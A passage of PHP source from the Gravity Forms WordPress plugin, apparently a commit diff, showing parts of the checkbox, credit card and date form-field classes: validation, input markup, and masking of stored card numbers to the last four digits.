* @param object $field The field currently being processed.
* @param string $value The value to be selected if the field is being populated.
*/
$choices .= gf_apply_filters( array( 'gform_field_choice_markup_pre_render', $this->formId, $this->id ), $choice_markup, $choice, $this, $value );
$is_admin = $is_entry_detail || $is_form_editor;
if ( $is_admin && rgget('view') != 'entry' && $count >= 5 ) {
break;
}
$count ++;
}
$total = sizeof( $this->choices );
if ( $count < $total ) {
$choices .= "<li class='gchoice_total'>" . sprintf( esc_html__( '%d of %d items shown. Edit field to view all', 'gravityforms' ), $count, $total ) . '</li>';
}
}
/**
* Modify the checkbox items before they are added to the checkbox list.
*
* @since Unknown
*
* @param string $choices The string containing the choices to be filtered.
* @param object $field Ahe field currently being processed.
*/
return gf_apply_filters( array( 'gform_field_choices', $this->formId, $this->id ), $choices, $this );
}
/**
* Determine if a specific checkbox is checked.
*
* @since Unknown
* @access public
*
* @param int $field_id Field ID.
* @param string $field_label Field label.
* @param array $entry Entry object.
*
* @return bool
*/
public function is_checkbox_checked( $field_id, $field_label, $entry ) {
$allowed_tags = wp_kses_allowed_html( 'post' );
$entry_field_keys = array_keys( $entry );
// Looping through lead detail values trying to find an item identical to the column label. Mark with a tick if found.
foreach ( $entry_field_keys as $input_id ) {
// Mark as a tick if input label (from form meta) is equal to submitted value (from lead)
if ( is_numeric( $input_id ) && absint( $input_id ) == absint( $field_id ) ) {
$sanitized_value = wp_kses( $entry[ $input_id ], $allowed_tags );
$sanitized_label = wp_kses( $field_label, $allowed_tags );
if ( $sanitized_value == $sanitized_label ) {
return $entry[ $input_id ];
} else {
if ( $this->enableChoiceValue || $this->enablePrice ) {
foreach ( $this->choices as $choice ) {
if ( $choice['value'] == $entry[ $field_id ] ) {
return $choice['value'];
} else if ( $this->enablePrice ) {
$ary = explode( '|', $entry[ $field_id ] );
$val = count( $ary ) > 0 ? $ary[0] : '';
$price = count( $ary ) > 1 ? $ary[1] : '';
if ( $val == $choice['value'] ) {
return $choice['value'];
}
}
}
}
}
}
}
return false;
}
// # OTHER HELPERS --------------------------------------------------------------------------------------------------
/**
* Returns the input ID to be assigned to the field label for attribute.
*
* @since Unknown
* @access public
*
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_first_input_id( $form ) {
return '';
}
/**
* Retrieve the field default value.
*
* @since Unknown
* @access public
*
* @uses GFCommon::replace_variables_prepopulate()
* @uses GF_Field::is_form_editor()
*
* @return array|string
*/
public function get_value_default() {
return $this->is_form_editor() ? $this->defaultValue : GFCommon::replace_variables_prepopulate( $this->defaultValue );
}
// # SANITIZATION ---------------------------------------------------------------------------------------------------
/**
* If the field should allow html tags to be saved with the entry value. Default is false.
*
* @since Unknown
* @access public
*
* @return bool
*/
public function allow_html() {
return true;
}
/**
* Forces settings into expected values while saving the form object.
*
* No escaping should be done at this stage to prevent double escaping on output.
*
* Currently called only for forms created after version 1.9.6.10.
*
* @since Unknown
* @access public
*
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( 'option' === $this->type ) {
$this->productField = absint( $this->productField );
}
if ( 'post_category' === $this->type ) {
$this->displayAllCategories = (bool) $this->displayAllCategories;
}
}
/**
* Strip scripts and some HTML tags.
*
* @since Unknown
* @access public
*
* @param string $value The field value to be processed.
* @param int $form_id The ID of the form currently being processed.
*
* @uses GF_Field::get_allowable_tags()
*
* @return string
*/
public function sanitize_entry_value( $value, $form_id ) {
// If the value is an array, return an empty string.
if ( is_array( $value ) ) {
return '';
}
// Get allowable tags for field value.
$allowable_tags = $this->get_allowable_tags( $form_id );
// If allowable tags are defined, strip unallowed tags.
if ( $allowable_tags !== true ) {
$value = strip_tags( $value, $allowable_tags );
}
// Sanitize value.
$allowed_protocols = wp_allowed_protocols();
$value = wp_kses_no_null( $value, array( 'slash_zero' => 'keep' ) );
$value = wp_kses_hook( $value, 'post', $allowed_protocols );
$value = wp_kses_split( $value, 'post', $allowed_protocols );
return $value;
}
}
GF_Fields::register( new GF_Field_Checkbox() );

View File

@@ -0,0 +1,436 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_CreditCard extends GF_Field {
public $type = 'creditcard';
public function get_form_editor_field_title() {
return esc_attr__( 'Credit Card', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'force_ssl_field_setting',
'credit_card_style_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'sub_labels_setting',
'sub_label_placement_setting',
'label_placement_setting',
'admin_label_setting',
'rules_setting',
'description_setting',
'css_class_setting',
'credit_card_setting',
'input_placeholders_setting',
);
}
public function get_form_editor_button() {
return array(); // this button is conditionally added in the form detail page
}
public function validate( $value, $form ) {
$card_number = rgpost( 'input_' . $this->id . '_1' );
$expiration_date = rgpost( 'input_' . $this->id . '_2' );
$security_code = rgpost( 'input_' . $this->id . '_3' );
if ( $this->isRequired && ( empty( $card_number ) || empty( $security_code ) || empty( $expiration_date[0] ) || empty( $expiration_date[1] ) ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter your credit card information.', 'gravityforms' ) : $this->errorMessage;
} elseif ( ! empty( $card_number ) ) {
$card_type = GFCommon::get_card_type( $card_number );
if ( empty( $security_code ) ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( "Please enter your card's security code.", 'gravityforms' );
} elseif ( ! $card_type ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( 'Invalid credit card number.', 'gravityforms' );
} elseif ( ! $this->is_card_supported( $card_type['slug'] ) ) {
$this->failed_validation = true;
$this->validation_message = $card_type['name'] . ' ' . esc_html__( 'is not supported. Please enter one of the supported credit cards.', 'gravityforms' );
}
}
}
public function is_card_supported( $card_slug ) {
$supported_cards = $this->creditCards;
$default_cards = array( 'amex', 'discover', 'mastercard', 'visa' );
if ( ! empty( $supported_cards ) && in_array( $card_slug, $supported_cards ) ) {
return true;
} elseif ( empty( $supported_cards ) && in_array( $card_slug, $default_cards ) ) {
return true;
}
return false;
}
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
if ( $get_from_post_global_var ) {
$value[ $this->id . '.1' ] = $this->get_input_value_submission( 'input_' . $this->id . '_1', rgar( $this->inputs[0], 'name' ), $field_values, true );
$value[ $this->id . '.2' ] = $this->get_input_value_submission( 'input_' . $this->id . '_2', rgar( $this->inputs[1], 'name' ), $field_values, true );
$value[ $this->id . '.3' ] = $this->get_input_value_submission( 'input_' . $this->id . '_3', rgar( $this->inputs[3], 'name' ), $field_values, true );
$value[ $this->id . '.4' ] = $this->get_input_value_submission( 'input_' . $this->id . '_4', rgar( $this->inputs[4], 'name' ), $field_values, true );
$value[ $this->id . '.5' ] = $this->get_input_value_submission( 'input_' . $this->id . '_5', rgar( $this->inputs[5], 'name' ), $field_values, true );
} else {
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
}
return $value;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$form_id = $form['id'];
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$form_id = ( $is_entry_detail || $is_form_editor ) && empty( $form_id ) ? rgget( 'id' ) : $form_id;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
$field_sub_label_placement = $this->subLabelPlacement;
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
$card_number = '';
$card_name = '';
$expiration_month = '';
$expiration_year = '';
$security_code = '';
$autocomplete = RGFormsModel::is_html5_enabled() ? "autocomplete='off'" : '';
if ( is_array( $value ) ) {
$card_number = esc_attr( rgget( $this->id . '.1', $value ) );
$card_name = esc_attr( rgget( $this->id . '.5', $value ) );
$expiration_date = rgget( $this->id . '.2', $value );
if ( ! is_array( $expiration_date ) && ! empty( $expiration_date ) ) {
$expiration_date = explode( '/', $expiration_date );
}
if ( is_array( $expiration_date ) && count( $expiration_date ) == 2 ) {
$expiration_month = $expiration_date[0];
$expiration_year = $expiration_date[1];
}
$security_code = esc_attr( rgget( $this->id . '.3', $value ) );
}
$action = ! ( $is_entry_detail || $is_form_editor ) ? "gformMatchCard(\"{$field_id}_1\");" : '';
$onchange = "onchange='{$action}'";
$onkeyup = "onkeyup='{$action}'";
$card_icons = '';
$cards = GFCommon::get_card_types();
$card_style = $this->creditCardStyle ? $this->creditCardStyle : 'style1';
foreach ( $cards as $card ) {
$style = '';
if ( $this->is_card_supported( $card['slug'] ) ) {
$print_card = true;
} elseif ( $is_form_editor || $is_entry_detail ) {
$print_card = true;
$style = "style='display:none;'";
} else {
$print_card = false;
}
if ( $print_card ) {
$card_icons .= "<div class='gform_card_icon gform_card_icon_{$card['slug']}' {$style}>{$card['name']}</div>";
}
}
$payment_methods = apply_filters( 'gform_payment_methods', array(), $this, $form_id );
$payment_options = '';
if ( is_array( $payment_methods ) ) {
foreach ( $payment_methods as $payment_method ) {
$checked = rgpost( 'gform_payment_method' ) == $payment_method['key'] ? "checked='checked'" : '';
$payment_options .= "<div class='gform_payment_option gform_payment_{$payment_method['key']}'><input type='radio' name='gform_payment_method' value='{$payment_method['key']}' id='gform_payment_method_{$payment_method['key']}' onclick='gformToggleCreditCard();' onkeypress='gformToggleCreditCard();' {$checked}/> {$payment_method['label']}</div>";
}
}
$checked = rgpost( 'gform_payment_method' ) == 'creditcard' || rgempty( 'gform_payment_method' ) ? "checked='checked'" : '';
$card_radio_button = empty( $payment_options ) ? '' : "<input type='radio' name='gform_payment_method' id='gform_payment_method_creditcard' value='creditcard' onclick='gformToggleCreditCard();' onkeypress='gformToggleCreditCard();' {$checked}/>";
$card_icons = "{$payment_options}<div class='gform_card_icon_container gform_card_icon_{$card_style}'>{$card_radio_button}{$card_icons}</div>";
//card number fields
$tabindex = $this->get_tabindex();
$card_number_field_input = GFFormsModel::get_input( $this, $this->id . '.1' );
$html5_output = ! is_admin() && GFFormsModel::is_html5_enabled() ? "pattern='[0-9]*' title='" . esc_attr__( 'Only digits are allowed', 'gravityforms' ) . "'" : '';
$card_number_label = rgar( $card_number_field_input, 'customLabel' ) != '' ? $card_number_field_input['customLabel'] : esc_html__( 'Card Number', 'gravityforms' );
$card_number_label = gf_apply_filters( array( 'gform_card_number', $form_id ), $card_number_label, $form_id );
$card_number_placeholder = $this->get_input_placeholder_attribute( $card_number_field_input );
if ( $is_sub_label_above ) {
$card_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_1_container' >
{$card_icons}
<label for='{$field_id}_1' id='{$field_id}_1_label' {$sub_label_class_attribute}>{$card_number_label}</label>
<input type='text' name='input_{$id}.1' id='{$field_id}_1' value='{$card_number}' {$tabindex} {$disabled_text} {$onchange} {$onkeyup} {$autocomplete} {$html5_output} {$card_number_placeholder}/>
</span>";
} else {
$card_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_1_container' >
{$card_icons}
<input type='text' name='input_{$id}.1' id='{$field_id}_1' value='{$card_number}' {$tabindex} {$disabled_text} {$onchange} {$onkeyup} {$autocomplete} {$html5_output} {$card_number_placeholder}/>
<label for='{$field_id}_1' id='{$field_id}_1_label' {$sub_label_class_attribute}>{$card_number_label}</label>
</span>";
}
//expiration date field
$expiration_month_tab_index = $this->get_tabindex();
$expiration_year_tab_index = $this->get_tabindex();
$expiration_month_input = GFFormsModel::get_input( $this, $this->id . '.2_month' );
$expiration_month_placeholder = $this->get_input_placeholder_value( $expiration_month_input );
$expiration_year_input = GFFormsModel::get_input( $this, $this->id . '.2_year' );
$expiration_year_placeholder = $this->get_input_placeholder_value( $expiration_year_input );
$expiration_months = $this->get_expiration_months( $expiration_month, $expiration_month_placeholder );
$expiration_years = $this->get_expiration_years( $expiration_year, $expiration_year_placeholder );
$expiration_label = rgar( $expiration_month_input, 'customLabel' ) != '' ? $expiration_month_input['customLabel'] : esc_html__( 'Expiration Date', 'gravityforms' );
$expiration_label = gf_apply_filters( array( 'gform_card_expiration', $form_id ), $expiration_label, $form_id );
if ( $is_sub_label_above ) {
$expiration_field = "<span class='ginput_full{$class_suffix} ginput_cardextras' id='{$field_id}_2_container'>
<span class='ginput_cardinfo_left{$class_suffix}' id='{$field_id}_2_cardinfo_left'>
<span class='ginput_card_expiration_container ginput_card_field'>
<label for='{$field_id}_2_month' {$sub_label_class_attribute}>{$expiration_label}</label>
<select name='input_{$id}.2[]' id='{$field_id}_2_month' {$expiration_month_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_month'>
{$expiration_months}
</select>
<select name='input_{$id}.2[]' id='{$field_id}_2_year' {$expiration_year_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_year'>
{$expiration_years}
</select>
</span>
</span>";
} else {
$expiration_field = "<span class='ginput_full{$class_suffix} ginput_cardextras' id='{$field_id}_2_container'>
<span class='ginput_cardinfo_left{$class_suffix}' id='{$field_id}_2_cardinfo_left'>
<span class='ginput_card_expiration_container ginput_card_field'>
<select name='input_{$id}.2[]' id='{$field_id}_2_month' {$expiration_month_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_month'>
{$expiration_months}
</select>
<select name='input_{$id}.2[]' id='{$field_id}_2_year' {$expiration_year_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_year'>
{$expiration_years}
</select>
<label for='{$field_id}_2_month' {$sub_label_class_attribute}>{$expiration_label}</label>
</span>
</span>";
}
//security code field
$tabindex = $this->get_tabindex();
$security_code_field_input = GFFormsModel::get_input( $this, $this->id . '.3' );
$security_code_label = rgar( $security_code_field_input, 'customLabel' ) != '' ? $security_code_field_input['customLabel'] : esc_html__( 'Security Code', 'gravityforms' );
$security_code_label = gf_apply_filters( array( 'gform_card_security_code', $form_id ), $security_code_label, $form_id );
$html5_output = GFFormsModel::is_html5_enabled() ? "pattern='[0-9]*' title='" . esc_attr__( 'Only digits are allowed', 'gravityforms' ) . "'" : '';
$security_code_placeholder = $this->get_input_placeholder_attribute( $security_code_field_input );
if ( $is_sub_label_above ) {
$security_field = "<span class='ginput_cardinfo_right{$class_suffix}' id='{$field_id}_2_cardinfo_right'>
<label for='{$field_id}_3' {$sub_label_class_attribute}>$security_code_label</label>
<input type='text' name='input_{$id}.3' id='{$field_id}_3' {$tabindex} {$disabled_text} class='ginput_card_security_code' value='{$security_code}' {$autocomplete} {$html5_output} {$security_code_placeholder} />
<span class='ginput_card_security_code_icon'>&nbsp;</span>
</span>
</span>";
} else {
$security_field = "<span class='ginput_cardinfo_right{$class_suffix}' id='{$field_id}_2_cardinfo_right'>
<input type='text' name='input_{$id}.3' id='{$field_id}_3' {$tabindex} {$disabled_text} class='ginput_card_security_code' value='{$security_code}' {$autocomplete} {$html5_output} {$security_code_placeholder}/>
<span class='ginput_card_security_code_icon'>&nbsp;</span>
<label for='{$field_id}_3' {$sub_label_class_attribute}>$security_code_label</label>
</span>
</span>";
}
$tabindex = $this->get_tabindex();
$card_name_field_input = GFFormsModel::get_input( $this, $this->id . '.5' );
$card_name_label = rgar( $card_name_field_input, 'customLabel' ) != '' ? $card_name_field_input['customLabel'] : esc_html__( 'Cardholder Name', 'gravityforms' );
$card_name_label = gf_apply_filters( array( 'gform_card_name', $form_id ), $card_name_label, $form_id );
$card_name_placeholder = $this->get_input_placeholder_attribute( $card_name_field_input );
if ( $is_sub_label_above ) {
$card_name_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_5_container'>
<label for='{$field_id}_5' id='{$field_id}_5_label' {$sub_label_class_attribute}>{$card_name_label}</label>
<input type='text' name='input_{$id}.5' id='{$field_id}_5' value='{$card_name}' {$tabindex} {$disabled_text} {$card_name_placeholder}/>
</span>";
} else {
$card_name_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_5_container'>
<input type='text' name='input_{$id}.5' id='{$field_id}_5' value='{$card_name}' {$tabindex} {$disabled_text} {$card_name_placeholder}/>
<label for='{$field_id}_5' id='{$field_id}_5_label' {$sub_label_class_attribute}>{$card_name_label}</label>
</span>";
}
return "<div class='ginput_complex{$class_suffix} ginput_container ginput_container_creditcard' id='{$field_id}'>" . $card_field . $expiration_field . $security_field . $card_name_field . ' </div>';
}
public function get_field_label_class(){
return 'gfield_label gfield_label_before_complex';
}
private function get_expiration_months( $selected_month, $placeholder ) {
if ( empty( $placeholder ) ) {
$placeholder = esc_html__( 'Month', 'gravityforms' );
}
$str = "<option value=''>{$placeholder}</option>";
for ( $i = 1; $i < 13; $i ++ ) {
$selected = intval( $selected_month ) == $i ? "selected='selected'" : '';
$month = str_pad( $i, 2, '0', STR_PAD_LEFT );
$str .= "<option value='{$i}' {$selected}>{$month}</option>";
}
return $str;
}
private function get_expiration_years( $selected_year, $placeholder ) {
if ( empty( $placeholder ) ) {
$placeholder = esc_html__( 'Year', 'gravityforms' );
}
$str = "<option value=''>{$placeholder}</option>";
$year = intval( date( 'Y' ) );
for ( $i = $year; $i < ( $year + 20 ); $i ++ ) {
$selected = intval( $selected_year ) == $i ? "selected='selected'" : '';
$str .= "<option value='{$i}' {$selected}>{$i}</option>";
}
return $str;
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( is_array( $value ) ) {
$card_number = trim( rgget( $this->id . '.1', $value ) );
$card_type = trim( rgget( $this->id . '.4', $value ) );
$separator = $format == 'html' ? '<br/>' : "\n";
return empty( $card_number ) ? '' : $card_type . $separator . $card_number;
} else {
return '';
}
}
public function get_form_inline_script_on_page_render( $form ) {
$field_id = "input_{$form['id']}_{$this->id}";
if ( $this->forceSSL && ! GFCommon::is_ssl() && ! GFCommon::is_preview() ) {
$script = "document.location.href='" . esc_js( RGFormsModel::get_current_page_url( true ) ) . "';";
} else {
$script = "jQuery(document).ready(function(){ { gformMatchCard(\"{$field_id}_1\"); } } );";
}
$card_rules = $this->get_credit_card_rules();
$script = "if(!window['gf_cc_rules']){window['gf_cc_rules'] = new Array(); } window['gf_cc_rules'] = " . GFCommon::json_encode( $card_rules ) . "; $script";
return $script;
}
public function get_credit_card_rules() {
$cards = GFCommon::get_card_types();
//$supported_cards = //TODO: Only include enabled cards
$rules = array();
foreach ( $cards as $card ) {
$prefixes = explode( ',', $card['prefixes'] );
foreach ( $prefixes as $prefix ) {
$rules[ $card['slug'] ][] = $prefix;
}
}
return $rules;
}
public function get_entry_inputs() {
$inputs = array();
// only store month and card number input values
foreach ( $this->inputs as $input ) {
if ( in_array( $input['id'], array( $this->id . '.1', $this->id . '.4' ) ) ) {
$inputs[] = $input;
}
}
return $inputs;
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
//saving last 4 digits of credit card
list( $input_token, $field_id_token, $input_id ) = rgexplode( '_', $input_name, 3 );
if ( $input_id == '1' ) {
$value = str_replace( ' ', '', $value );
$card_number_length = strlen( $value );
$value = substr( $value, - 4, 4 );
$value = str_pad( $value, $card_number_length, 'X', STR_PAD_LEFT );
} elseif ( $input_id == '4' ) {
$value = rgpost( "input_{$field_id_token}_4" );
if ( ! $value ) {
$card_number = rgpost( "input_{$field_id_token}_1" );
$card_type = GFCommon::get_card_type( $card_number );
$value = $card_type ? $card_type['name'] : '';
}
} else {
$value = '';
}
return $this->sanitize_entry_value( $value, $form['id'] );
}
/**
* Upgrades inputs, if needed.
*
* @since 2.1.2.7
* @access public
* @see GF_Field::post_convert_field()
*
* @uses GF_Field::post_convert_field()
* @uses GF_Field_CreditCard::maybe_upgrade_inputs()
*
* @return void
*/
public function post_convert_field() {
parent::post_convert_field();
$this->maybe_upgrade_inputs();
}
/**
* GF1.8 and earlier used 5 inputs (1 input for the expiration date); GF1.9 changed to 6 inputs (the expiration month and year now separate); upgrade those fields still using the older configuration.
*/
public function maybe_upgrade_inputs() {
$inputs = $this->inputs;
$exp_input = $inputs[1];
$exp_id = $this->id . '.2';
if ( count( $inputs ) == 5 && $exp_input['id'] == $exp_id ) {
$new_inputs = array(
array(
'id' => $exp_id . '_month',
'label' => esc_html__( 'Expiration Month', 'gravityforms' ),
'defaultLabel' => $exp_input['label']
),
array(
'id' => $exp_id . '_year',
'label' => esc_html__( 'Expiration Year', 'gravityforms' ),
)
);
array_splice( $inputs, 1, 1, $new_inputs );
$this->inputs = $inputs;
}
}
}
GF_Fields::register( new GF_Field_CreditCard() );

View File

@@ -0,0 +1,569 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Date extends GF_Field {
public $type = 'date';
public function get_form_editor_field_title() {
return esc_attr__( 'Date', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'sub_label_placement_setting',
'admin_label_setting',
'rules_setting',
'date_input_type_setting',
'visibility_setting',
'duplicate_setting',
'date_format_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function validate( $value, $form ) {
if ( is_array( $value ) && rgempty( 0, $value ) && rgempty( 1, $value ) && rgempty( 2, $value ) ) {
$value = null;
}
if ( ! empty( $value ) ) {
$format = empty( $this->dateFormat ) ? 'mdy' : $this->dateFormat;
$date = GFCommon::parse_date( $value, $format );
if ( empty( $date ) || ! $this->checkdate( $date['month'], $date['day'], $date['year'] ) ) {
$this->failed_validation = true;
$format_name = '';
switch ( $format ) {
case 'mdy' :
$format_name = 'mm/dd/yyyy';
break;
case 'dmy' :
$format_name = 'dd/mm/yyyy';
break;
case 'dmy_dash' :
$format_name = 'dd-mm-yyyy';
break;
case 'dmy_dot' :
$format_name = 'dd.mm.yyyy';
break;
case 'ymd_slash' :
$format_name = 'yyyy/mm/dd';
break;
case 'ymd_dash' :
$format_name = 'yyyy-mm-dd';
break;
case 'ymd_dot' :
$format_name = 'yyyy.mm.dd';
break;
}
$message = $this->dateType == 'datepicker' ? sprintf( esc_html__( 'Please enter a valid date in the format (%s).', 'gravityforms' ), $format_name ) : esc_html__( 'Please enter a valid date.', 'gravityforms' );
$this->validation_message = empty( $this->errorMessage ) ? $message : $this->errorMessage;
}
}
}
public function is_value_submission_empty( $form_id ) {
$value = rgpost( 'input_' . $this->id );
if ( is_array( $value ) ) {
// Date field and date drop-downs
foreach ( $value as $input ) {
if ( strlen( trim( $input ) ) <= 0 ) {
return true;
}
}
return false;
} else {
// Date picker
return strlen( trim( $value ) ) <= 0;
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$picker_value = '';
if ( is_array( $value ) ) {
// GFCommon::parse_date() takes a numeric array.
$value = array_values( $value );
} else {
$picker_value = $value;
}
$format = empty( $this->dateFormat ) ? 'mdy' : esc_attr( $this->dateFormat );
$date_info = GFCommon::parse_date( $value, $format );
$day_value = esc_attr( rgget( 'day', $date_info ) );
$month_value = esc_attr( rgget( 'month', $date_info ) );
$year_value = esc_attr( rgget( 'year', $date_info ) );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$form_id = $form['id'];
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
$field_sub_label_placement = $this->subLabelPlacement;
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
$month_input = GFFormsModel::get_input( $this, $this->id . '.1' );
$day_input = GFFormsModel::get_input( $this, $this->id . '.2' );
$year_input = GFFormsModel::get_input( $this, $this->id . '.3' );
$month_sub_label = rgar( $month_input, 'customLabel' ) != '' ? $month_input['customLabel'] : esc_html( _x( 'MM', 'Abbreviation: Month', 'gravityforms' ) );
$day_sub_label = rgar( $day_input, 'customLabel' ) != '' ? $day_input['customLabel'] : esc_html__( 'DD', 'gravityforms' );
$year_sub_label = rgar( $year_input, 'customLabel' ) != '' ? $year_input['customLabel'] : esc_html__( 'YYYY', 'gravityforms' );
$month_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $month_input );
$day_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $day_input );
$year_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $year_input );
$month_placeholder_value = GFCommon::get_input_placeholder_value( $month_input );
$day_placeholder_value = GFCommon::get_input_placeholder_value( $day_input );
$year_placeholder_value = GFCommon::get_input_placeholder_value( $year_input );
$date_picker_placeholder = $this->get_field_placeholder_attribute();
$is_html5 = RGFormsModel::is_html5_enabled();
$date_input_type = $is_html5 ? 'number' : 'text';
$month_html5_attributes = $is_html5 ? "min='1' max='12' step='1'" : '';
$day_html5_attributes = $is_html5 ? "min='1' max='31' step='1'" : '';
$year_min = apply_filters( 'gform_date_min_year', '1920', $form, $this );
$year_max = apply_filters( 'gform_date_max_year', date( 'Y' ) + 1, $form, $this );
$year_min_attribute = $is_html5 && is_numeric( $year_min ) ? "min='{$year_min}'" : '';
$year_max_attribute = $is_html5 && is_numeric( $year_max ) ? "max='{$year_max}'" : '';
$year_step_attribute = $is_html5 ? "step='1'" : '';
$field_position = substr( $format, 0, 3 );
if ( $is_form_editor ) {
$datepicker_display = in_array( $this->dateType, array( 'datefield', 'datedropdown' ) ) ? 'none' : 'inline';
$datefield_display = $this->dateType == 'datefield' ? 'inline' : 'none';
$dropdown_display = $this->dateType == 'datedropdown' ? 'inline' : 'none';
$icon_display = $this->calendarIconType == 'calendar' ? 'inline' : 'none';
if ( $is_sub_label_above ) {
$month_field = "<div class='gfield_date_month ginput_date' id='gfield_input_date_month' style='display:$datefield_display'>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
<input id='{$field_id}_1' name='ginput_month' type='text' {$month_placeholder_attribute} {$disabled_text} value='{$month_value}'/>
</div>";
$day_field = "<div class='gfield_date_day ginput_date' id='gfield_input_date_day' style='display:$datefield_display'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
<input id='{$field_id}_2' name='ginput_day' type='text' {$day_placeholder_attribute} {$disabled_text} value='{$day_value}'/>
</div>";
$year_field = "<div class='gfield_date_year ginput_date' id='gfield_input_date_year' style='display:$datefield_display'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$year_sub_label}</label>
<input id='{$field_id}_3' type='text' name='text' {$year_placeholder_attribute} {$disabled_text} value='{$year_value}'/>
</div>";
} else {
$month_field = "<div class='gfield_date_month ginput_date' id='gfield_input_date_month' style='display:$datefield_display'>
<input id='{$field_id}_1' name='ginput_month' type='text' {$month_placeholder_attribute} {$disabled_text} value='{$month_value}'/>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$month_sub_label}</label>
</div>";
$day_field = "<div class='gfield_date_day ginput_date' id='gfield_input_date_day' style='display:$datefield_display'>
<input id='{$field_id}_2' name='ginput_day' type='text' {$day_placeholder_attribute} {$disabled_text} value='{$day_value}'/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$day_sub_label}</label>
</div>";
$year_field = "<div class='gfield_date_year ginput_date' id='gfield_input_date_year' style='display:$datefield_display'>
<input type='text' id='{$field_id}_3' name='ginput_year' {$year_placeholder_attribute} {$disabled_text} value='{$year_value}'/>
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$year_sub_label}</label>
</div>";
}
$month_dropdown = "<div class='gfield_date_dropdown_month ginput_date_dropdown' id='gfield_dropdown_date_month' style='display:$dropdown_display'>" . $this->get_month_dropdown( '', "{$field_id}_1", rgar( $date_info, 'month' ), '', $disabled_text, $month_placeholder_value ) . '</div>';
$day_dropdown = "<div class='gfield_date_dropdown_day ginput_date_dropdown' id='gfield_dropdown_date_day' style='display:$dropdown_display'>" . $this->get_day_dropdown( '', "{$field_id}_2", rgar( $date_info, 'day' ), '', $disabled_text, $day_placeholder_value ) . '</div>';
$year_dropdown = "<div class='gfield_date_dropdown_year ginput_date_dropdown' id='gfield_dropdown_date_year' style='display:$dropdown_display'>" . $this->get_year_dropdown( '', "{$field_id}_3", rgar( $date_info, 'year' ), '', $disabled_text, $year_placeholder_value, $form ) . '</div>';
$field_string = "<div class='ginput_container ginput_container_date' id='gfield_input_datepicker' style='display:$datepicker_display'><input name='ginput_datepicker' type='text' {$date_picker_placeholder} {$disabled_text} value = '{$picker_value}'/><img src='" . GFCommon::get_base_url() . "/images/calendar.png' id='gfield_input_datepicker_icon' style='display:$icon_display'/></div>";
switch ( $field_position ) {
case 'dmy' :
$date_inputs = $day_field . $month_field . $year_field . $day_dropdown . $month_dropdown . $year_dropdown;
break;
case 'ymd' :
$date_inputs = $year_field . $month_field . $day_field . $year_dropdown . $month_dropdown . $day_dropdown;
break;
default :
$date_inputs = $month_field . $day_field . $year_field . $month_dropdown . $day_dropdown . $year_dropdown;
break;
}
$field_string .= "<div id='{$field_id}' class='ginput_container ginput_container_date'>{$date_inputs}</div>";
return $field_string;
} else {
$date_type = $this->dateType;
if ( in_array( $date_type, array( 'datefield', 'datedropdown' ) ) ) {
switch ( $field_position ) {
case 'dmy' :
$tabindex = $this->get_tabindex();
if ( $date_type == 'datedropdown' ) {
